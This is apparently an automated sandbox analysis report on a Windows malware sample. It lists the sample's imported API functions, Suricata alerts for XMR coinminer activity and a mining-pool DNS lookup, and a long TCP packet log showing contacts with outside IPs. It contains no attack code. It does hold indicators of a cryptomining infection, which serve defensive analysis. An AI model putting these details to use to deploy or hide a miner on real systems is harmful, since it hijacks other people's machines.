StringFromCLSID, CoInitializeSecurity, CoUninitialize, CoInitialize, OleRun, CLSIDFromProgID, CLSIDFromString, CoCreateInstance, CoSetProxyBlanket, RegisterDragDrop, CreateDataAdviseHolder, CreateOleAdviseHolder, GetRunningObjectTable, OleIsRunning, CoGetMalloc, OleQueryLinkFromData, OleQueryCreateFromData, CoFreeUnusedLibraries, OleInitialize, OleUninitialize, CoGetClassObject, CoRegisterClassObject, CoRevokeClassObject, CoRegisterMessageFilter, StgCreateDocfileOnILockBytes
OLEAUT32.dll	SafeArrayLock, SafeArrayGetLBound, SafeArrayGetUBound, SafeArrayGetElemsize, SafeArrayGetDim, SafeArrayRedim, SafeArrayDestroy, SafeArrayDestroyData, SafeArrayDestroyDescriptor, SafeArrayCreate, SafeArrayAllocData, SafeArrayAllocDescriptor, VariantTimeToSystemTime, SystemTimeToVariantTime, SysStringLen, SafeArrayUnlock, SysAllocStringLen, VariantInit, VariantClear, SysAllocStringByteLen, SysStringByteLen, SysFreeString, VarDecFromStr, LoadTypeLib, LoadRegTypeLib, RegisterTypeLib, SysAllocString, SafeArrayAccessData, SafeArrayUnaccessData, SafeArrayGetElement, VariantChangeType, VarDateFromStr, VarCyFromStr, SafeArrayPutElement, SafeArrayCopy, VariantCopy, SafeArrayPtrOfIndex, VarBstrFromDec, GetErrorInfo, SetErrorInfo, CreateErrorInfo, VarBstrFromCy, VarBstrFromDate, SysReAllocStringLen
WS2_32.dll	gethostname, sendto, gethostbyname, WSAIoctl, WSASend, WSARecv, WSAAccept, WSAEnumNetworkEvents, WSAWaitForMultipleEvents, WSAEventSelect, WSACreateEvent, listen, bind, inet_ntoa, WSASocketA, WSAStartup, WSACleanup, WSACloseEvent, closesocket, send, inet_addr, socket, setsockopt, ioctlsocket, htons, connect, select, recv, ntohs, __WSAFDIsSet, WSAGetLastError
NETAPI32.dll	NetApiBufferFree, NetShareEnum
MPR.dll	WNetCancelConnection2A, WNetAddConnection2A
IPHLPAPI.DLL	GetAdaptersInfo, GetIfTable
WININET.dll	HttpSendRequestA, HttpAddRequestHeadersA, HttpOpenRequestA, GopherGetAttributeA, GopherOpenFileA, GopherFindFirstFileA, GopherCreateLocatorA, FtpCommandA, FtpGetCurrentDirectoryA, FtpSetCurrentDirectoryA, HttpSendRequestExA, FtpCreateDirectoryA, FtpOpenFileA, FtpRenameFileA, FtpDeleteFileA, FtpPutFileA, FtpGetFileA, FtpFindFirstFileA, InternetSetStatusCallback, InternetGetLastResponseInfoA, InternetSetOptionA, InternetQueryOptionA, InternetFindNextFileA, InternetQueryDataAvailable, InternetWriteFile, HttpEndRequestA, HttpQueryInfoA, InternetSetCookieA, InternetGetCookieA, InternetErrorDlg, InternetReadFile, FtpRemoveDirectoryA, InternetOpenUrlA, InternetCrackUrlA, InternetCanonicalizeUrlA, InternetOpenA, InternetCloseHandle, InternetConnectA, InternetSetFilePointer
imagehlp.dll	MakeSureDirectoryPathExists
PSAPI.DLL	GetDeviceDriverBaseNameA, GetModuleFileNameExA, EnumDeviceDrivers
OLEACC.dll	LresultFromObject, AccessibleObjectFromWindow, CreateStdAccessibleObject
gdiplus.dll	GdipDrawImageRectI, GdipSetInterpolationMode, GdipCreateFromHDC, GdipCreateBitmapFromHBITMAP, GdiplusShutdown, GdipAlloc, GdipFree, GdiplusStartup, GdipDrawImageI, GdipDisposeImage, GdipGetImageGraphicsContext, GdipGetImageWidth, GdipGetImageHeight, GdipGetImagePixelFormat, GdipGetImagePalette, GdipGetImagePaletteSize, GdipCreateBitmapFromStream, GdipCreateBitmapFromFile, GdipCreateBitmapFromStreamICM, GdipCreateBitmapFromFileICM, GdipCreateBitmapFromScan0, GdipBitmapLockBits, GdipBitmapUnlockBits, GdipDeleteGraphics, GdipCloneImage
IMM32.dll	ImmGetOpenStatus, ImmGetContext, ImmReleaseContext
WINMM.dll	PlaySoundA
oledlg.dll

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-17T18:18:05.557854+0200	2826930	ETPRO COINMINER XMR CoinMiner Usage	2	192.168.2.6	52344	141.94.96.71	3333	TCP
2024-10-17T18:22:19.273967+0200	2047928	ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com)	2	192.168.2.6	59596	1.1.1.1	53	UDP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 17, 2024 18:18:05.557853937 CEST	49674	443	192.168.2.6	173.222.162.64
Oct 17, 2024 18:18:05.557905912 CEST	49673	443	192.168.2.6	173.222.162.64
Oct 17, 2024 18:18:05.885957003 CEST	49672	443	192.168.2.6	173.222.162.64
Oct 17, 2024 18:18:13.379304886 CEST	49711	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:13.383707047 CEST	49712	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:13.383745909 CEST	443	49712	40.113.110.67	192.168.2.6
Oct 17, 2024 18:18:13.383824110 CEST	49712	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:13.384433031 CEST	49712	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:13.384447098 CEST	443	49712	40.113.110.67	192.168.2.6
Oct 17, 2024 18:18:13.384869099 CEST	19370	49711	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:13.384932041 CEST	49711	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:13.412323952 CEST	49711	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:13.422538996 CEST	19370	49711	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:13.449865103 CEST	49711	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:13.512439966 CEST	19370	49711	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:13.601648092 CEST	49711	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:13.609380007 CEST	19370	49711	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:13.740940094 CEST	49711	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:13.752840996 CEST	19370	49711	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:14.056761026 CEST	49711	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:14.094698906 CEST	19370	49711	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:14.289189100 CEST	19370	49711	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:14.289273024 CEST	49711	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:14.289391041 CEST	49711	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:14.314043045 CEST	19370	49711	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:14.725184917 CEST	443	49712	40.113.110.67	192.168.2.6
Oct 17, 2024 18:18:14.727725983 CEST	49712	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:14.733767986 CEST	49712	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:14.733797073 CEST	443	49712	40.113.110.67	192.168.2.6
Oct 17, 2024 18:18:14.734180927 CEST	443	49712	40.113.110.67	192.168.2.6
Oct 17, 2024 18:18:14.749433041 CEST	49712	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:14.749433041 CEST	49712	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:14.749433041 CEST	49712	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:14.749453068 CEST	443	49712	40.113.110.67	192.168.2.6
Oct 17, 2024 18:18:14.795397997 CEST	443	49712	40.113.110.67	192.168.2.6
Oct 17, 2024 18:18:15.042145014 CEST	443	49712	40.113.110.67	192.168.2.6
Oct 17, 2024 18:18:15.049721003 CEST	49712	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:15.049721003 CEST	49712	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:15.049737930 CEST	443	49712	40.113.110.67	192.168.2.6
Oct 17, 2024 18:18:15.049945116 CEST	443	49712	40.113.110.67	192.168.2.6
Oct 17, 2024 18:18:15.050374031 CEST	49712	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:15.050374031 CEST	49712	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:15.167359114 CEST	49674	443	192.168.2.6	173.222.162.64
Oct 17, 2024 18:18:15.167360067 CEST	49673	443	192.168.2.6	173.222.162.64
Oct 17, 2024 18:18:15.495237112 CEST	49672	443	192.168.2.6	173.222.162.64
Oct 17, 2024 18:18:15.955601931 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:15.955653906 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:15.955777884 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:15.956202030 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:15.956221104 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:16.981288910 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:16.981383085 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:16.990437984 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:16.990474939 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:16.990761995 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.001560926 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.043407917 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.269068956 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.269098043 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.269113064 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.269205093 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.269274950 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.269346952 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.275243044 CEST	443	49705	173.222.162.64	192.168.2.6
Oct 17, 2024 18:18:17.280772924 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.280818939 CEST	49705	443	192.168.2.6	173.222.162.64
Oct 17, 2024 18:18:17.280822992 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.281017065 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.281017065 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.281042099 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.281825066 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.366308928 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.366338968 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.366463900 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.366465092 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.366552114 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.369925976 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.380928993 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.381012917 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.381025076 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.381057024 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.381092072 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.381258965 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.389972925 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.389990091 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.390078068 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.390078068 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.390088081 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.390371084 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.397367954 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.397382975 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.397533894 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.397541046 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.397735119 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.491307020 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.491334915 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.491466999 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.491467953 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.491539001 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.491611004 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.499937057 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.499953985 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.500065088 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.500081062 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.500361919 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.506644011 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.506688118 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.506793976 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.506793976 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.506810904 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.506917000 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.512116909 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.512135029 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.512320995 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.512330055 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.512403011 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.517513990 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.517529964 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.517827034 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.517832994 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.517893076 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.522208929 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.522227049 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.522336960 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.522344112 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.522449017 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.526711941 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.526729107 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.528976917 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.528984070 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.529125929 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.607657909 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.607743025 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.607804060 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.607804060 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.608438969 CEST	49713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.608460903 CEST	443	49713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.679478884 CEST	49714	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.679532051 CEST	443	49714	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.679860115 CEST	49714	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.680490017 CEST	49715	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.680510998 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.680535078 CEST	443	49715	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.680624008 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.680641890 CEST	49715	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.680716038 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.681353092 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.681391001 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.681698084 CEST	49714	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.681710958 CEST	443	49714	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.682163000 CEST	49715	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.682182074 CEST	443	49715	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.688570976 CEST	49718	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.688570976 CEST	49717	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.688673973 CEST	443	49718	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.688709974 CEST	443	49717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.688827038 CEST	49718	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.688827038 CEST	49717	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.689085960 CEST	49718	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.689120054 CEST	443	49718	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:17.689929008 CEST	49717	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:17.689948082 CEST	443	49717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.425553083 CEST	443	49717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.426450014 CEST	443	49718	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.426553965 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.428340912 CEST	443	49715	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.430186033 CEST	49715	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.430212021 CEST	443	49715	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.430751085 CEST	49715	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.430756092 CEST	443	49715	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.431220055 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.431250095 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.431281090 CEST	443	49714	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.431725979 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.431735992 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.432065010 CEST	49717	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.432090044 CEST	443	49717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.432451010 CEST	49717	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.432456017 CEST	443	49717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.435987949 CEST	49714	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.436012030 CEST	443	49714	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.436723948 CEST	49714	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.436733007 CEST	443	49714	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.442296982 CEST	49718	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.442321062 CEST	443	49718	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.442852020 CEST	49718	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.442858934 CEST	443	49718	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.563267946 CEST	443	49717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.563290119 CEST	443	49717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.563364029 CEST	49717	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.563383102 CEST	443	49717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.563499928 CEST	443	49717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.563549995 CEST	49717	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.564667940 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.564749002 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.564804077 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.564831018 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.564882040 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.564927101 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.565623045 CEST	443	49715	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.565648079 CEST	443	49715	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.565699100 CEST	49715	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.565701008 CEST	443	49715	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.565861940 CEST	49715	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.566291094 CEST	443	49714	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.567061901 CEST	443	49714	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.567303896 CEST	49714	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.572459936 CEST	49717	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.572478056 CEST	443	49717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.572488070 CEST	49717	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.572494030 CEST	443	49717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.572956085 CEST	443	49718	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.573018074 CEST	443	49718	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.573072910 CEST	49718	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.574260950 CEST	49715	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.574287891 CEST	443	49715	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.574301958 CEST	49715	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.574307919 CEST	443	49715	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.575783014 CEST	49714	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.575783014 CEST	49714	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.575808048 CEST	443	49714	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.575820923 CEST	443	49714	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.577039003 CEST	49718	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.577043056 CEST	443	49718	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.577054024 CEST	49718	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.577058077 CEST	443	49718	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.578270912 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.578294039 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.578309059 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.578315020 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.591844082 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.591878891 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.591983080 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.598078012 CEST	49720	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.598109007 CEST	443	49720	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.598206043 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.598222971 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.598262072 CEST	49720	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.598349094 CEST	49720	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.598360062 CEST	443	49720	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.621031046 CEST	49721	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.621073961 CEST	443	49721	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.621361017 CEST	49721	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.621747971 CEST	49722	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.621756077 CEST	443	49722	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.621805906 CEST	49722	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.623023033 CEST	49723	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.623044014 CEST	443	49723	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.623218060 CEST	49723	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.627126932 CEST	49723	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.627139091 CEST	443	49723	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.627357960 CEST	49721	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.627388000 CEST	443	49721	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:18.630234003 CEST	49722	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:18.630247116 CEST	443	49722	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.346605062 CEST	49724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:19.351345062 CEST	443	49720	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.357003927 CEST	49720	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.357029915 CEST	443	49720	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.357662916 CEST	19370	49724	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:19.357703924 CEST	49720	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.357709885 CEST	443	49720	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.357832909 CEST	49724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:19.358573914 CEST	49724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:19.360985041 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.361840963 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.361857891 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.362154007 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.362159967 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.368611097 CEST	19370	49724	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:19.379106045 CEST	49724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:19.388731003 CEST	19370	49724	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:19.397043943 CEST	443	49723	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.403502941 CEST	49723	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.403523922 CEST	443	49723	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.403737068 CEST	49723	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.403743029 CEST	443	49723	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.404095888 CEST	443	49722	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.404942989 CEST	49722	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.404942989 CEST	49722	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.404963017 CEST	443	49722	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.404975891 CEST	443	49722	13.107.246.45	192.168.2.6
